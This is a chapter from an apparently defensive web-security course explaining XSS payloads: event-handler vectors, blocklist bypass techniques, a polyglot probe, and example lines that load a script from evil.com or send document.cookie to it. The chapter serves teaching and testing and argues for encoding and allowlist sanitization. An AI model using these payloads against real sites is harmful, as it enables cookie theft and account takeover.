Anatomy of a Payload

Chapter 4
Anatomy of a Payload
Breakouts, event handlers, filter bypasses, and polyglots — and why blocklists fail
Defensive framing — why we study payloads
This chapter dissects attack payloads so you can recognize them, write effective tests against your own apps, and — most importantly — understand why filtering/blocklisting them is a losing game. The payload variety here is the argument for the positive defences (encoding, sanitization, CSP) in Chapters 6–8. Practise only on apps you own or authorized labs (PortSwigger Web Security Academy, OWASP Juice Shop, DVWA).

A Payload Has Two Jobs

Every XSS payload does two things: (1) break out of the data context into a code context (Chapter 3), and (2) execute the attacker's JavaScript. The famous alert(1) is just a harmless stand-in for job 2 used to prove execution — the real interest is job 1, the breakout, because that's what the application's encoding is supposed to prevent.

You Don't Need <script> — Event Handlers

A common misconception is that XSS requires a <script> tag. In reality, any element with an event handler can run code, and these often survive naive filters that only strip <script>:

<img src=x onerror=alert(1)> // broken image -> onerror fires <svg onload=alert(1)> // fires on load, no broken-resource needed <body onpageshow=alert(1)> <input autofocus onfocus=alert(1)> // auto-focuses then fires <details open ontoggle=alert(1)>

The <img onerror> and <svg onload> vectors are the workhorses precisely because they need no script tag and fire automatically. There are dozens of HTML elements with auto-firing event handlers — which is the first hint that "block the dangerous tags" is unwinnable.

Why Blocklists Fail: The Bypass Zoo

Developers often try to filter XSS by removing "bad" strings like <script> or javascript:. Attackers have an enormous repertoire of equivalent encodings the browser still executes:

Bypass techniqueExampleBeats the filter…
Case variation<ScRiPt>, JaVaScRiPt:case-sensitive blocklist
Broken-up keyword<scr<script>ipt> (filter removes inner)naive single-pass strip
HTML entities&#106;avascript: (j)literal-string matching
Whitespace/control charsjava\tscript:, newlines in attrsexact javascript: match
No-script vectors<img onerror>, <svg onload>"<script>"-only filters
Alternate executiononerror=eval(atob('...'))keyword filters on alert etc.
Blocklist filtering is the wrong defence — it loses by construction
Every blocklist is a bet that you've enumerated every dangerous pattern — and the browser's parsing tolerance (case-insensitivity, entity decoding, whitespace handling, hundreds of tags/handlers, multiple encodings) gives attackers effectively infinite variants. The history of "XSS filters" (including browsers' own, now removed) is a graveyard of bypasses. Never defend XSS by trying to detect/strip bad input. Use the positive model: define what's allowed (encode everything as data by default; if HTML is needed, an allowlist sanitizer — Chapter 7) and the variants become irrelevant because nothing is interpreted as code in the first place.

Polyglots: One Payload, Many Contexts

A polyglot is a single payload crafted to execute across multiple injection contexts at once — useful to attackers probing an unknown injection point, and to testers wanting one string that fires whether it lands in HTML, an attribute, or JS. They look cryptic because they're engineered to be syntactically valid in several grammars simultaneously:

// a classic probing polyglot (shape, not for blind use): javascript:/*--></title></style></script><svg onload=alert(1)>

It closes several possible enclosing contexts (</title>, </style>, </script>) and then injects an auto-firing element — so whichever context it landed in, one of the escapes works. For testing, a polyglot is a quick "is this injectable at all?" probe; for defenders, it's a vivid demonstration of why context-correct encoding (not pattern-matching) is the only reliable answer.

Beyond alert(1): What Real Payloads Do

alert(1) proves execution; real payloads (Chapter 5) replace it with meaningful actions, often loaded from a remote script to keep the injected string small:

// small injected stub pulls a larger script from the attacker <script src=//evil.com/x.js></script> // or an inline one-liner that exfiltrates data <img src=x onerror="fetch('//evil.com/?c='+document.cookie)">
For testing, prefer a benign, unique marker over alert()
When testing your own app, alert() can be blocked by pop-up settings and is noisy. A cleaner proof of execution is something observable and unique, e.g. console.log('XSS-test-7421'), or causing a request to a URL you control (new Image().src='https://your-collector/'+document.domain) so you can confirm where it fired. Automated scanners (Burp, OWASP ZAP, Dalfox) use exactly this approach — inject a unique marker and detect it in the response/DOM.

Hands-On Exercises

Exercise 1

Without using a <script> tag, give three payloads that execute JavaScript, and explain the auto-firing mechanism of each (e.g. onerror, onload, onfocus). State why this defeats a filter that only strips <script>.

📄 View solution
Exercise 2

A filter removes the literal string <script> (case-sensitive, single pass) and the string javascript:. Give a bypass for each and name the technique. Then explain why this proves blocklist filtering is the wrong defence model.

📄 View solution
Exercise 3

Explain what a polyglot payload is and why an attacker probing an unknown injection point would use one. Then explain why context-aware output encoding defeats all these payload variants while a blocklist defeats none of them reliably.

📄 View solution

Chapter 4 Quick Reference

  • A payload does two jobs: break out of the data context + execute code; alert(1) just proves execution
  • No <script> needed<img onerror>, <svg onload>, onfocus, ontoggle auto-fire
  • Blocklists fail: case variation, broken-up keywords, HTML entities, whitespace, no-script vectors, alternate execution — effectively infinite variants
  • Never defend by detecting/stripping "bad" input — use the positive model (encode by default; allowlist sanitize if HTML needed)
  • Polyglot — one payload valid in many contexts at once; a probe for unknown injection points
  • Real payloads replace alert with <script src=//evil> or inline exfiltration (Chapter 5)
  • For testing: use a unique benign marker (console.log / a request to your collector), not noisy alert()
  • Next chapter: what an attacker achieves — cookie theft, keylogging, session riding, and XSS worms